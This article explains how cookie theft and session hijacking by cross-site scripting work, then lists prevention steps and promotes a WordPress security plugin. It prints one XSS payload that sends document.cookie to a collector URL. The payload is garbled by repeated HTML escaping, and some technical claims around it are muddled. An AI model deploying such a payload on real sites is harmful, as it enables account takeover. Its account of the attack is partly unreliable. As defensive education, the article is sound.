Did you know that your website stores sensitive information using cookies? Did you know that your cookies can be easily stolen by hackers? This could endanger your website and guests!
Cookies store a range of data, ranging from a customer’s ad preferences to login credentials and credit card information. Cookies are commonly used on the internet, and the frequency at which they are stolen is troubling.
If you’re a victim of cookie theft or session hijacking, the consequences can be catastrophic. Not only would you lose money and your visitors’ confidence, but you could also face legal problems and hefty fines!
But don’t worry, we’ll walk you through everything you need to know about stopping these attacks today!
We’ll learn how hackers steal cookies in this tutorial, and then we’ll go over how to prevent it.
What Is Cookie Stealing?
Cookie theft isn’t as easy as a kid putting their hand into a cookie jar, as much as we wish! It’s a complicated operation, and we need to go through the basics to understand what’s going on.
What Is A Cookie?
Cookies can be thought of as small data packets. It saves data on how you communicate with a website. An eCommerce platform, for example, may want to track a customer’s path – the goods they look for, the products they buy, the things they abandon in their cart, or the pages they visit.
This provides the store with analytical data on what consumers want, such as which sites are most commonly viewed, how long users remain on a page, and so on. They can then use this information to configure what is presented on the website based on the needs of the customer.
Cookies offer information to website owners about what works and what doesn’t. This allows them to find out what needs to be updated or improved on their website.
Cookies are often used to show users advertisements that are important to them. You can note ads on websites when you visit them.
These commercials are typically focused on your recent search history. For example, if you search for “laptops” on Google, you’ll find that advertisements for Dell appear on every website. These advertisements are not part of the website and are operated by third-party providers such as Google Adsense.
Cookies make it simpler for the website owner as well as the customer. It has the ability to improve interaction and sales, which is perfect for website owners. In terms of the buyer, cookies allow them to have a more personalised online experience or see ads that are more important to them.
However, there are several disadvantages, which we will discuss later.
What Is A Browser Session and Session ID?
When you visit a website, your machine and the website build a link.
When you log into Facebook, for example, a session starts. This allows you to continue using Facebook before you press ‘log out’ to end the session (even if you close and reopen the web browser).
You’d have to keep logging in any time you needed new data if the session wasn’t established. For example, if you want to leave your Facebook news feed to go to a friend’s profile page, you’ll be logged out of Facebook and will have to log in again to see the friend’s profile.
Sessions are important because of this. It keeps you signed in so you can continue to access the website and search through various web pages.
It’s worth remembering that each session produces its own collection of cookies. These are referred to as session cookies. Each session cookie also has its own session ID.
This ID is used by a website to verify the user’s identity and create a secure connection.
To log in to Facebook, for example, you must enter your username and password. After that, a session with a unique ID is established. This ID will be used to authenticate any requests you make to the Facebook website. So, if you want to access a particular page, you’ll send a request to the Facebook server to do so. Facebook scans your ID and shows you the material you want to see.
Hackers can now take over your session and exploit this protected link. They have the power to make malicious requests on your behalf. Let’s take a look at how.
What Are The Security Concerns With Cookies?
When cookies are created, only you – the site owner – have access to them. Your cookies cannot be accessed on any other website. You are the sole owner of them.
These cookies, on the other hand, fly around the internet. Ad services and analytics services both use them. As a consequence, these cookies move from server to server all over the world. A hacker can easily intercept and steal these cookies if the connection is not secure.
You may think that if a hacker gets details about your shopping habits, it’s no big deal.
The problem is that cookies contain more details than just your shopping habits. It also saves financial information as well as personal information such as your mailing address and contact information.
If this type of information falls into the wrong hands, it may be used to commit fraud.
If hackers are using the same wifi as you, this is one of the most common ways they steal cookies. Man-in-the-middle attacks are a form of wifi hacking that can only happen if both parties are linked to the same wireless network. This is why it’s best to stop using public wifi if it’s unsecure or overcrowded. Users on the same computer networks may also be affected.
Packet sniffing and leveraging a flaw known as cross-site scripting are two other approaches. Today, we’ll go over how the XSS cookie stealing works in depth.
How Hackers Use Cross-site Scripting (XSS) To Steal Cookies & Hijack Sessions?
We’ll use an example to illustrate how cross-site scripting (XSS) attacks can be used to steal cookies. Let’s say you’re on a forum with a comment section.
Any reviews you have will be stored in the website’s database. This comments section should preferably only allow text written in plain English. However, if it also accepts special characters, it becomes vulnerable to XSS.
A hacker can send malicious code to the database by entering their own malicious code. The code will be executed once within. Hackers may inject a variety of codes into the website to carry out a variety of malicious activities, such as creating a new website admin or stealing cookies.
A hacker will use the following code to steal cookies:
This is not a how-to guide for stealing cookies. The aim of this article is to educate website owners about how hackers can steal cookies. We do not suggest that you participate in any criminal activities.
document.write(‘&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;img src=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;http://localhost/submitcookie.php? cookie =’
+ escape(document.cookie) + ‘&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot; /&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;);
In the comments section, this code will appear as an image. If you (as a visitor) click on it, you will see an image displayed. But there’s more than just happened.
When you click on the image, this PHP file silently executes the code and grabs your session cookie and the session ID.
Now the hacker can recreate your session and pose as you on that website. They can carry out a multitude of malicious acts. For example, if your cookie contains your credit card or any other payment information, they can make purchases.
Luckily, there are preventive measures to safeguard website owners as well as its visitors from these hacks.
How To Prevent Cookie Stealing And Session Hijacking?
The website owner and the user also have a role to play in stopping cookie theft and session hijacking. We’ll talk about both sides’ preventative steps.
Measures Website Owners Can Take Against Cookie Stealing
If you don’t have a security expert to handle it all for you, you can take the following steps as a website owner:
Install an SSL Certificate
Between the user’s browser and your web server, data is continually transferred. This data (cookies) is sent in plain text if SSL is not used. If a hacker gets their hands on this material, they can simply read it. As a consequence, it will be revealed if it includes login credentials.
Until the data is moved, SSL (Secure Sockets Layer) encrypts it. Even if a hacker manages to get their hands on it, they won’t be able to read the data.
An SSL certificate can be obtained from your web hosting company or from an SSL provider. Let’s Encrypt also offers a free basic SSL certificate.
Install a Security Plugin
Keep MalCare, a WordPress security plugin, working on your website. The firewall in the plugin will protect your website from hacking attempts and block malicious IP addresses. It will also search your site on a regular basis and warn you if a hacker has entered any malicious code. You will quickly clean up your website. This will assist you in detecting and preventing such hacking attempts as soon as possible, before they cause any harm.
Update Your Website
Keep your website, including the WordPress installation, themes, and plugins, up to date at all times. Hackers will take advantage of several weak spots on your website if you’re using outdated software. As soon as a new update is available, make sure to update your site.
These updates include not only new functionality and bug fixes, but they also sometimes patch security vulnerabilities.
Harden Your Website
Certain website hardening steps are recommended by WordPress.org and should be enforced on your website. Using strong and special usernames and passwords, blocking PHP execution in unknown files, disabling the file editor in themes and plugins, and more are all examples of this. Now, if any of this sounds like jargon to you, we’ve put together an in-depth step-by-step guide to WordPress Hardening that you can use.
Steps Website Visitors Can Take Against Cookie Stealing
As a website user, you are not expected to believe that websites have introduced sufficient security measures. The following web protection protocols will help you stay secure online.
Install an Effective Anti-virus
Make sure you have anti-malware software installed on the computer you’re using to access the internet. When you visit a malicious website, this will warn you if malware is found. It will also uninstall any malware that you may have downloaded or installed on your device by mistake.
Never Click on Suspicious Links
Hackers use the comments section of websites and emails to threaten users. Avoid clicking on untrustworthy links, particularly those that entice you with tempting discounts or deals.
Avoid Storing Sensitive Data
Holding credit card information on shopping websites speeds up and simplifies the checkout process. Using web browsers like Google Chrome to save passwords and auto log into websites removes the need to remember them!
All of this, though, comes with a major risk of being stolen. It’s best not to save personal details on websites. You can save a few seconds, but you are also putting yourself at risk of being targeted.
To get rid of any confidential information stored in browsers like Google Chrome, you can clear your cookies on a regular basis. Clear Browsing History from the History menu. Check the box labelled “Cookies and other site info” here.
Choose an acceptable time span, such as “All Time” or “As Needed.” The cookies will be removed from your browser’s history after you select ‘Clear info.’
This takes us to the end of cookie thievery. We hope that this article has provided you with a clearer understanding of what occurs and how to stop it.